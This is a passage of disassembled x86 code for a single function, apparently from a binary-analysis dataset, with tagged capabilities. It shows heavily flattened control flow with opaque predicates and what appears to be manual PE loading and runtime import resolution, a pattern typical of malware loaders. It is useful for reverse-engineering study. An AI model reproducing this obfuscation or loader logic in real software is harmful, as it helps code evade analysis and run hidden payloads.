Function at 0x4015f0
Capabilities:
Access peb ldr_data
Create thread
Get number of processors
Link function at runtime on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x4398c
call fcn.00439e60
mov eax, dword [0x4a62c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0xfb2ccad
jmp 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0x327649a2
mov edi, 0x8e387bf9
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x8e387bf9
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4a83ec], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
nop dword [eax + eax]
cmp eax, 0xbc677a5
jle 0x401700
cmp eax, 0x47e06ebf
jg 0x401780
cmp eax, 0x2e856a97
jg 0x40189e
cmp eax, 0x1c70d7c9
jg 0x401aa2
cmp eax, 0x142c6438
jg 0x401dc1
cmp eax, 0xfb2ccac
jg 0x402339
cmp eax, 0xc3db275
jle 0x402d1d
cmp eax, 0xc3db276
je 0x403bd9
cmp eax, 0xee08135
je 0x403c2d
cmp eax, 0xf9340dd
jne 0x401650
mov eax, dword [ebp - 0x438f4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x438c0]
add eax, dword [ebp - 0x438c0]
mov ecx, dword [ebp - 0x4384c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x43818]
mov eax, dword [ebp - 0x43818]
mov dword [eax], 0
mov eax, 0x96b57350
jmp 0x401650
cmp eax, 0xc479d4a7
jle 0x401800
cmp eax, 0xe3bfea07
jg 0x401928
cmp eax, 0xd4642fa0
jg 0x401b54
cmp eax, 0xc9c33d00
jg 0x401e11
cmp eax, 0xc695189f
jg 0x40238a
cmp eax, 0xc497e3af
jle 0x402d89
cmp eax, 0xc497e3b0
je 0x403c46
cmp eax, 0xc601872a
je 0x403c50
cmp eax, 0xc6062d9a
jne 0x401650
mov eax, dword [ebp - 0x438cc]
mov esi, dword [eax + 0x3c]
lea eax, [ebp - 0x43810]
add esi, eax
mov eax, 0xc1c01b28
jmp 0x401650
cmp eax, 0x619dc9eb
jg 0x4019a8
cmp eax, 0x53f47217
jg 0x401ba0
cmp eax, 0x4fbac41d
jg 0x401e52
cmp eax, 0x4cca0e21
jg 0x4023d5
cmp eax, 0x496c6df2
jle 0x402daf
cmp eax, 0x496c6df3
je 0x403c76
cmp eax, 0x4a0d4191
je 0x403c99
cmp eax, 0x4aab7fec
jne 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0x9fb9eae3
mov edi, 0xb26fde83
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb26fde83
jmp 0x401633
cmp eax, 0x9fb9eae2
jg 0x401a0b
cmp eax, 0x8fb56dc6
jg 0x401bfb
cmp eax, 0x88758495
jg 0x401ee5
cmp eax, 0x83f58aec
jg 0x40241c
cmp eax, 0x81470a8f
jle 0x402deb
cmp eax, 0x81470a90
je 0x403ca3
cmp eax, 0x81e03289
je 0x403cad
cmp eax, 0x833eb87c
jne 0x401650
mov eax, dword [ebp - 0x438f0]
mov edi, 0xc69518a0
mov ebx, 0xbcafc4f0
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x43844]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x43844]
mov dword [ecx], eax
mov eax, dword [ebp - 0x43834]
mov eax, dword [eax]
mov dword [ebp - 0x4395c], eax
mov eax, dword [0x4a83f0]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xbcafc4f0
jmp 0x405024
cmp eax, 0x3a3d1840
jg 0x401c63
cmp eax, 0x3494cc2a
jg 0x401f26
cmp eax, 0x3144104d
jg 0x40246e
cmp eax, 0x30b3d44f
jle 0x402e24
cmp eax, 0x30b3d450
je 0x403cb7
cmp eax, 0x310c2301
je 0x403cd9
cmp eax, 0x310e6647
jne 0x401650
mov eax, dword [ebp - 0x43864]
mov ebx, 0xe1ef897a
mov edi, 0xec2b97ba
not eax
or eax, 0xbfffffff
cmp eax, 0xffffffff
mov eax, dword [0x4a83f0]
setne byte [ebp - 0x43873]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xec2b97ba
jmp 0x401633
cmp eax, 0xf7e66478
jg 0x401cbe
cmp eax, 0xee54b97d
jg 0x401fa4
cmp eax, 0xe8dfa528
jg 0x4024ce
cmp eax, 0xe6badac6
jle 0x402e59
cmp eax, 0xe6badac7
je 0x403ce3
cmp eax, 0xe6e11147
je 0x403d29
cmp eax, 0xe7c191fd
jne 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x47599c9
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xa1b0dcdf
jmp 0x40557c
cmp eax, 0x7052311c
jg 0x401d0a
cmp eax, 0x67f13450
jg 0x40202f
cmp eax, 0x6554269e
jg 0x402520
cmp eax, 0x62da7532
jle 0x402e8e
cmp eax, 0x62da7533
je 0x403d33
cmp eax, 0x646923c3
je 0x403d60
cmp eax, 0x6524922d
jne 0x401650
mov eax, dword [ebp - 0x43840]
mov dword [eax], 0x20
mov eax, 0xbeb774dd
jmp 0x401650
cmp eax, 0xb3a1fb48
jle 0x401d56
cmp eax, 0xbdb034f2
jg 0x402076
cmp eax, 0xbb8ea38d
jg 0x402571
cmp eax, 0xb4f644f1
jle 0x402eb8
cmp eax, 0xb4f644f2
je 0x403d79
cmp eax, 0xb7f8cc8c
je 0x403dac
cmp eax, 0xba37d91b
jne 0x401650
mov eax, dword [ebp - 0x4388c]
mov eax, dword [ebp - 0x4388c]
mov eax, dword [ebp - 0x4388c]
mov eax, dword [ebp - 0x4388c]
mov eax, dword [ebp - 0x4388c]
movzx ecx, word [esi + 0x14]
mov edx, dword [ebp - 0x43828]
lea eax, [eax + ecx + 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x4382c]
mov eax, dword [ebp - 0x4382c]
mov dword [eax], 0
mov eax, 0x546a4cda
jmp 0x401650
cmp eax, 0x26e2fdaf
jg 0x4020d1
cmp eax, 0x20c5d36a
jg 0x4025a7
cmp eax, 0x1cb1ce55
jle 0x402ee6
cmp eax, 0x1cb1ce56
je 0x403e05
cmp eax, 0x1f08f14a
je 0x403e1e
cmp eax, 0x204cc911
jne 0x401650
mov eax, dword [ebp - 0x43814]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4384c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x43818]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x43898]
mov dword [ecx], eax
mov eax, dword [ebp - 0x43850]
mov eax, dword [ebp - 0x4384c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x43818]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov ecx, eax
xor ecx, 0xffff0000
and ecx, eax
mov eax, dword [ebp - 0x4385c]
push ecx
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x43850]
mov dword [ecx], eax
mov eax, dword [ebp - 0x43850]
mov eax, 0x361a1d9c
jmp 0x401650
cmp eax, 0xddc8c137
jg 0x402135
cmp eax, 0xd9e12ee0
jg 0x402651
cmp eax, 0xd60c9fef
jle 0x402f11
cmp eax, 0xd60c9ff0
je 0x403e2e
cmp eax, 0xd7c373cc
je 0x403e4d
cmp eax, 0xd7c4509b
jne 0x401650
mov eax, 0xe15a8348
jmp 0x401650
cmp eax, 0x5be205d6
jg 0x402176
cmp eax, 0x58ec7567
jg 0x402687
cmp eax, 0x54d5a6b0
jle 0x402f31
cmp eax, 0x54d5a6b1
je 0x403e57
cmp eax, 0x5801f3a9
je 0x403e61
cmp eax, 0x588668ed
jne 0x401650
cmp byte [ebp - 0x43866], 0
mov eax, 0x16524407
mov ecx, 0xaa85131b
cmovne eax, ecx
jmp 0x401650
cmp eax, 0x96b5734f
jg 0x4021b7
cmp eax, 0x94045337
jg 0x4026bd
cmp eax, 0x91cb9757
jle 0x402f95
cmp eax, 0x91cb9758
je 0x403e9e
cmp eax, 0x923d93c9
je 0x403ebc
cmp eax, 0x93c8b487
jne 0x401650
mov eax, dword [0x4a83f0]
mov edi, 0x68d4df18
mov ebx, 0x3eae4a3b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x3eae4a3b
jmp 0x40502c
cmp eax, 0x40e31e5d
jg 0x402221
cmp eax, 0x3db703f8
jg 0x40271f
cmp eax, 0x3ae74c34
jle 0x402fdf
cmp eax, 0x3ae74c35
je 0x403eda
cmp eax, 0x3b0e9dbe
je 0x403ef9
cmp eax, 0x3d417510
jne 0x401650
cmp byte [ebp - 0x43874], 0
mov eax, 0x9525f247
mov ecx, 0x60e2a2f4
cmovne eax, ecx
jmp 0x401650
cmp eax, 0x2a65a74
jg 0x402270
cmp eax, 0xfd6d235e
jg 0x4027a8
cmp eax, 0xfb386cc2
jle 0x40301b
cmp eax, 0xfb386cc3
je 0x403f2b
cmp eax, 0xfc2001d2
je 0x403f66
cmp eax, 0xfcff404c
jne 0x401650
mov eax, 0x2e1e1a38
jmp 0x401650
cmp eax, 0x781e1085
jg 0x4022b1
cmp eax, 0x73ab2c4a
jg 0x4027de
cmp eax, 0x71828aa8
jle 0x403051
cmp eax, 0x71828aa9
je 0x403f8c
cmp eax, 0x71b908ca
je 0x403f9c
cmp eax, 0x735102fd
jne 0x401650
mov eax, 0x45918cbd
jmp 0x401650
cmp eax, 0xaa85131a
jg 0x4022f2
cmp eax, 0xa606e9a3
jg 0x40283d
cmp eax, 0xa1b0dcde
jle 0x40307b
cmp eax, 0xa1b0dcdf
je 0x403fb5
cmp eax, 0xa38ada70
je 0x403fbf
cmp eax, 0xa43f9613
jne 0x401650
mov eax, dword [ebp - 0x4385c]
push dword [ebp - 0x43978]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x43850]
mov dword [ecx], eax
mov eax, 0x3494cc2b
jmp 0x401650
cmp eax, 0x17c3ab71
jg 0x402873
cmp eax, 0x16524406
jle 0x40309b
cmp eax, 0x16524407
je 0x403fc9
cmp eax, 0x179afe54
je 0x403ffc
cmp eax, 0x179deaac
jne 0x401650
cmp byte [ebp - 0x43872], 0
mov eax, 0xff996d5d
mov ecx, 0x6524922d
cmovne eax, ecx
jmp 0x401650
cmp eax, 0xcf63150f
jg 0x4028a9
cmp eax, 0xca52a392
jle 0x403102
cmp eax, 0xca52a393
je 0x404006
cmp eax, 0xcc4c2196
je 0x40401f
cmp eax, 0xce22ba3e
jne 0x401650
mov eax, 0x29512338
jmp 0x401650
cmp eax, 0x511196af
jg 0x40291e
cmp eax, 0x500eb3d7
jle 0x403149
cmp eax, 0x500eb3d8
je 0x404052
cmp eax, 0x50afb7e8
je 0x40405c
cmp eax, 0x50b4ff02
jne 0x401650
mov eax, dword [ebp - 0x43820]
mov edi, 0x1cb1ce56
mov ebx, 0x2ae2b82f
mov eax, dword [eax]
mov ecx, dword [ebp - 0x43900]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0x24]
mov ecx, dword [ebp - 0x4381c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4381c]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, dword [0x4a83f0]
setne byte [ebp - 0x4386c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x2ae2b82f
jmp 0x40502c
cmp eax, 0x8d11019e
jg 0x402954
cmp eax, 0x8a03691e
jle 0x403185
cmp eax, 0x8a03691f
je 0x4040cb
cmp eax, 0x8aa5225d
je 0x4040d5
cmp eax, 0x8ae93385
jne 0x401650
mov eax, 0x85b8b68a
jmp 0x401650
cmp eax, 0x361a1d9b
jg 0x40299f
cmp eax, 0x35d2b10b
jle 0x4031ce
cmp eax, 0x35d2b10c
je 0x40412a
cmp eax, 0x35dcf0c7
je 0x404140
cmp eax, 0x35f294e4
jne 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x361a1d9c
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x204cc911
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x43898]
jmp 0x40558a
cmp eax, 0xf2678dbb
jg 0x4029df
cmp eax, 0xefcd74c1
jle 0x4031fc
cmp eax, 0xefcd74c2
je 0x404156
cmp eax, 0xf135d0ea
je 0x404189
cmp eax, 0xf15e15bf
jne 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x96501896
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x3d417510
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x43888]
cmovge ecx, edi
cmp byte [eax], 0
mov eax, ecx
setne byte [ebp - 0x43874]
jmp 0x401650
cmp eax, 0x6aa3035a
jg 0x402a5c
cmp eax, 0x687cfb56
jle 0x40322b
cmp eax, 0x687cfb57
je 0x4041a9
cmp eax, 0x68d4df18
je 0x4041f6
cmp eax, 0x69377b2b
jne 0x401650
mov eax, dword [ebp - 0x43820]
mov eax, 0x8aa5225d
jmp 0x401650
cmp eax, 0xc14a4296
jg 0x402a92
cmp eax, 0xbeb60ac7
jle 0x40324b
cmp eax, 0xbeb60ac8
je 0x40422e
cmp eax, 0xbeb774dd
je 0x404238
cmp eax, 0xbfc98fbf
jne 0x401650
mov eax, dword [ebp - 0x43858]
mov eax, dword [ebp - 0x43814]
mov ecx, dword [esi + 0x80]
add ecx, dword [eax]
mov eax, 0xda15ad1f
mov dword [ebp - 0x43960], ecx
jmp 0x401650
cmp eax, 0x2b31f8f9
jg 0x402add
cmp eax, 0x2a7ac181
jle 0x40326b
cmp eax, 0x2a7ac182
je 0x404242
cmp eax, 0x2aa3f3c4
je 0x40424c
cmp eax, 0x2ae2b82f
jne 0x401650
mov eax, dword [ebp - 0x43820]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x43900]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0x24]
mov ecx, dword [ebp - 0x4381c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4381c]
mov eax, 0x50b4ff02
jmp 0x401650
cmp eax, 0xe15a8347
jg 0x402b22
cmp eax, 0xdf87b39a
jle 0x403296
cmp eax, 0xdf87b39b
je 0x404256
cmp eax, 0xe0604b89
je 0x40426f
cmp eax, 0xe0673258
jne 0x401650
mov eax, 0x8e85ebc8
jmp 0x401650
cmp eax, 0x5eeae574
jg 0x402b74
cmp eax, 0x5c6a20c3
jle 0x40330e
cmp eax, 0x5c6a20c4
je 0x4042b3
cmp eax, 0x5c73f51b
je 0x4042d9
cmp eax, 0x5d2d48c1
jne 0x401650
mov eax, 0x496c6df3
jmp 0x401650
cmp eax, 0x9ae6cc55
jg 0x402bbf
cmp eax, 0x98a875aa
jle 0x40333d
cmp eax, 0x98a875ab
je 0x4042e9
cmp eax, 0x99b7e2ad
je 0x40431b
cmp eax, 0x9ab70dd4
jne 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0x6aa3035b
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xe17ed113
jmp 0x40557c
cmp eax, 0x44281b90
jg 0x402c04
cmp eax, 0x41d9eecd
jle 0x403391
cmp eax, 0x41d9eece
je 0x40434e
cmp eax, 0x430d3d7e
je 0x404358
cmp eax, 0x4404aabf
jne 0x401650
mov eax, dword [ebp - 0x4387c]
mov eax, dword [eax]
mov dword [ebp - 0x438ec], eax
mov eax, 0x947d82fc
jmp 0x401650
cmp eax, 0x531b579
jg 0x402c3a
cmp eax, 0x3bf0014
jle 0x4033da
cmp eax, 0x3bf0015
je 0x404377
cmp eax, 0x47599c9
je 0x4043d4
cmp eax, 0x4af087a
jne 0x401650
mov eax, 0xabb68d72
jmp 0x401650
cmp eax, 0x7a88bf5e
jg 0x402ca4
cmp eax, 0x795c2b59
jle 0x403408
cmp eax, 0x795c2b5a
je 0x4043fa
cmp eax, 0x7a05258a
je 0x404404
cmp eax, 0x7a3748d4
jne 0x401650
mov eax, 0xa05110b
jmp 0x401650
cmp eax, 0xafa6c058
jle 0x402ce0
cmp eax, 0xb0ab0946
jle 0x403439
cmp eax, 0xb0ab0947
je 0x404414
cmp eax, 0xb0bb9e1d
je 0x404424
cmp eax, 0xb26fde83
jne 0x401650
mov eax, dword [ebp - 0x43848]
mov eax, 0x9fb9eae3
jmp 0x401650
cmp eax, 0x13401140
jle 0x403485
cmp eax, 0x13401141
je 0x404434
cmp eax, 0x1385a344
je 0x40446b
cmp eax, 0x13d6ae4a
jne 0x401650
mov eax, dword [ebp - 0x4383c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x43964]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0x10]
mov dword [ebp - 0x43968], eax
mov eax, 0x1385a344
jmp 0x401650
cmp eax, 0xc74f5424
jle 0x4034b4
cmp eax, 0xc74f5425
je 0x404484
cmp eax, 0xc8ed3ec6
je 0x40449d
cmp eax, 0xc9645413
jne 0x401650
mov eax, dword [0x4a83f0]
mov edi, 0x546a4cda
mov ebx, 0xba37d91b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xba37d91b
jmp 0x405024
cmp eax, 0x4ec3ffd7
jle 0x40351f
cmp eax, 0x4ec3ffd8
je 0x4044b8
cmp eax, 0x4f4a39a7
je 0x404506
cmp eax, 0x4fb65dbe
jne 0x401650
mov eax, dword [ebp - 0x43898]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x43978], eax
mov eax, 0xa43f9613
jmp 0x401650
cmp eax, 0x85983928
jle 0x40354e
cmp eax, 0x85983929
je 0x404531
cmp eax, 0x85b8b68a
je 0x404545
cmp eax, 0x869f4b87
jne 0x401650
mov eax, dword [0x4a83f0]
mov edi, 0xc466a9cd
mov ebx, 0x83f58aed
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x83f58aed
jmp 0x40502c
cmp eax, 0x327649a1
jle 0x40356e
cmp eax, 0x327649a2
je 0x404555
cmp eax, 0x345cc7ef
je 0x4045bf
cmp eax, 0x348577dc
jne 0x401650
mov eax, dword [ebp - 0x4382c]
mov ebx, 0xbeb60ac8
mov edi, 0xb0bb9e1d
mov eax, dword [eax]
mov dword [ebp - 0x43934], eax
mov eax, dword [0x4a83f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb0bb9e1d
jmp 0x401633
cmp eax, 0xec2b97b9
jle 0x40359a
cmp eax, 0xec2b97ba
je 0x4045cf
cmp eax, 0xed86e84c
je 0x4045fd
cmp eax, 0xee517890
jne 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0xbc046b3c
mov edi, 0xbc677a6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xbc677a6
jmp 0x401633
cmp eax, 0x65a4c803
jle 0x4035d3
cmp eax, 0x65a4c804
je 0x404607
cmp eax, 0x65e1d4b1
je 0x401611
cmp eax, 0x678310de
jne 0x401650
mov eax, dword [ebp - 0x43878]
mov eax, dword [0x4a83f0]
mov ebx, 0x89451c28
mov edi, 0xc497e3b0
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xc497e3b0
jmp 0x40162b
cmp eax, 0xbc046b3b
jle 0x4035f3
cmp eax, 0xbc046b3c
je 0x40464a
cmp eax, 0xbcafc4f0
je 0x40467c
cmp eax, 0xbcbbee43
jne 0x401650
mov eax, 0x30b3d450
jmp 0x401650
cmp eax, 0x240ed4a8
jle 0x40363b
cmp eax, 0x240ed4a9
je 0x4046a5
cmp eax, 0x24971103
je 0x4046c7
cmp eax, 0x26d50791
jne 0x401650
mov eax, dword [ebp - 0x438e4]
mov ebx, 0x8407ebe8
mov edi, 0x50afb7e8
mov eax, dword [eax]
add eax, dword [ebp - 0x438bc]
mov ecx, dword [ebp - 0x43894]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4387c]
mov eax, dword [ebp - 0x43830]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x4387c]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x43834]
mov eax, dword [ebp - 0x43830]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x43834]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x43848]
mov eax, dword [ebp - 0x43848]
mov dword [eax], 0
mov eax, dword [0x4a83f0]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x50afb7e8
jmp 0x40162b
cmp eax, 0xda9eae5c
jle 0x403661
cmp eax, 0xda9eae5d
je 0x4046df
cmp eax, 0xdb02daaa
je 0x404726
cmp eax, 0xdcf3626d
jne 0x401650
mov eax, 0x7fb622c1
jmp 0x401650
cmp eax, 0x5a5d9b6a
jle 0x40368f
cmp eax, 0x5a5d9b6b
je 0x40473e
cmp eax, 0x5b4ba0fb
je 0x404785
cmp eax, 0x5b8d665f
jne 0x401650
mov eax, 0xf6a90464
jmp 0x401650
cmp eax, 0x9525f246
jle 0x4036b9
cmp eax, 0x9525f247
je 0x4047ce
cmp eax, 0x96501896
je 0x404829
cmp eax, 0x9695309b
jne 0x401650
mov eax, dword [ebp - 0x4382c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x43930]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
push dword [ebp - 0x4392c]
push dword [ebp - 0x43928]
vzeroupper
call fcn.0043cd20
add esp, 0xc
mov eax, 0xe6e11147
jmp 0x401650
cmp eax, 0x3f77b5f8
jle 0x403702
cmp eax, 0x3f77b5f9
je 0x404839
cmp eax, 0x3fcd20b4
je 0x404852
cmp eax, 0x407d8733
jne 0x401650
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
mov edi, 0xc74f5425
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x7f084841
cmovne ebx, edi
test edx, ecx
mov ecx, ebx
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x438fc]
cmovge ecx, ebx
movzx eax, word [eax + 6]
mov edx, dword [ebp - 0x438f8]
cmp edx, eax
mov eax, ecx
setl byte [ebp - 0x4386b]
jmp 0x401650
cmp eax, 0xff996d5c
jle 0x403729
cmp eax, 0xff996d5d
je 0x40485c
cmp eax, 0x264cf23
je 0x404874
cmp eax, 0x296054e
jne 0x401650
mov eax, 0x5eeae575
jmp 0x401650
cmp eax, 0x75f08fec
jle 0x40374f
cmp eax, 0x75f08fed
je 0x4048bd
cmp eax, 0x76e6a285
je 0x4048d3
cmp eax, 0x773f7b16
jne 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0x7052311d
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x4a0d4191
jmp 0x404635
cmp eax, 0xa9185e4a
jle 0x40376f
cmp eax, 0xa9185e4b
je 0x404922
cmp eax, 0xa9c495b4
je 0x40492c
cmp eax, 0xaa040721
jne 0x401650
mov eax, 0x26e2fdb0
jmp 0x401650
cmp eax, 0x1a07eb8f
jle 0x40378f
cmp eax, 0x1a07eb90
je 0x40493c
cmp eax, 0x1a843e27
je 0x40496d
cmp eax, 0x1b1f1dc8
jne 0x401650
mov eax, 0xfc2001d2
jmp 0x401650
cmp eax, 0xcfb1381f
jle 0x4037bd
cmp eax, 0xcfb13820
je 0x40499f
cmp eax, 0xcfe83804
je 0x4049d2
cmp eax, 0xd2679677
jne 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0x4ec3ffd8
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x619dc9ec
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x43890]
cmovge eax, ebx
jmp 0x401650
cmp eax, 0x532decc2
jle 0x4037ec
cmp eax, 0x532decc3
je 0x4049ea
cmp eax, 0x5382ce05
je 0x404a02
cmp eax, 0x53c52c81
jne 0x401650
mov eax, 0x2b5127e6
jmp 0x401650
cmp eax, 0x8e4db666
jle 0x403812
cmp eax, 0x8e4db667
je 0x404a35
cmp eax, 0x8e85ebc8
je 0x404a4f
cmp eax, 0x8ec4ecad
jne 0x401650
mov eax, dword [0x4a83f0]
mov edi, 0x378afcfa
mov ebx, 0x81470a90
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x81470a90
jmp 0x405024
cmp eax, 0x38e475f2
jle 0x403844
cmp eax, 0x38e475f3
je 0x404a70
cmp eax, 0x39a44596
je 0x404a88
cmp eax, 0x3a27b1f3
jne 0x401650
mov dword [ebp - 0x43824], 2
mov eax, 0x5b4ba0fb
jmp 0x401650
cmp eax, 0xf4e36154
jle 0x40388d
cmp eax, 0xf4e36155
je 0x404abc
cmp eax, 0xf6a90464
je 0x404ae2
cmp eax, 0xf75492cd
jne 0x401650
mov edx, dword [0x4a83f0]
mov ecx, dword [0x4a83ec]
mov edi, 0xfcff404c
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x234681bd
cmovne ebx, edi
test edx, eax
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x43844]
cmovge eax, ebx
mov ecx, dword [ecx]
mov dword [ebp - 0x43944], ecx
jmp 0x401650
cmp eax, 0x6c90a2e9
jle 0x4038e0
cmp eax, 0x6c90a2ea
je 0x404b15
cmp eax, 0x6d6a3680
je 0x404b1f
cmp eax, 0x6ed0878b
jne 0x401650
mov eax, 0x4aab7fec
jmp 0x401650
cmp eax, 0xc2009cd9
jle 0x403900
cmp eax, 0xc2009cda
je 0x404b49
cmp eax, 0xc3116e84
je 0x404b7b
cmp eax, 0xc466a9cd
jne 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0xee7ee76c
mov edi, 0x83f58aed
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x83f58aed
jmp 0x40162b
cmp eax, 0x2c6c0c65
jle 0x403979
cmp eax, 0x2c6c0c66
je 0x404b94
cmp eax, 0x2d333342
je 0x404baa
cmp eax, 0x2e1e1a38
jne 0x401650
mov eax, dword [ebp - 0x43838]
add eax, 4
mov dword [ebp - 0x43948], eax
mov eax, 0xfa7b53b8
jmp 0x401650
cmp eax, 0xe1ef8979
jle 0x4039ae
cmp eax, 0xe1ef897a
je 0x404bd7
cmp eax, 0xe2e4f396
je 0x404bf0
cmp eax, 0xe2edc031
jne 0x401650
mov eax, dword [0x4a83f0]
mov edi, 0x1282169f
mov ebx, 0x47e06ec0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x47e06ec0
jmp 0x40502c
cmp eax, 0x60e2a2f3
jle 0x4039ce
cmp eax, 0x60e2a2f4
je 0x404cc1
cmp eax, 0x60eb3151
je 0x404cf3
cmp eax, 0x619248a4
jne 0x401650
mov eax, dword [0x4a83f0]
mov ebx, 0x50b4ff02
mov edi, 0x2ae2b82f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x2ae2b82f
jmp 0x40162b
cmp eax, 0x9b78a739
jle 0x403a2e
cmp eax, 0x9b78a73a
je 0x404d19
cmp eax, 0x9cfd7771
je 0x404d31
cmp eax, 0x9f1f39ec
jne 0x401650
mov eax, dword [ebp - 0x4391c]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x438d8], eax
mov eax, 0x46ce2ff4
jmp 0x401650
cmp eax, 0x46ce2ff3
jle 0x403a4e
cmp eax, 0x46ce2ff4
je 0x404d41
cmp eax, 0x476368be
je 0x404d67
cmp eax, 0x47aa582e
jne 0x401650
mov eax, 0x9b78a73a
jmp 0x401650
cmp eax, 0xa05110a
jle 0x403a6e
cmp eax, 0xa05110b
je 0x404d7d
cmp eax, 0xa09c5ea
je 0x404da3
cmp eax, 0xb233832
jne 0x401650
mov eax, dword [ebp - 0x43820]
mov edi, 0x5b8d665f
mov dword [eax], 0
mov edx, dword [0x4a83f0]
mov eax, dword [0x4a83ec]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
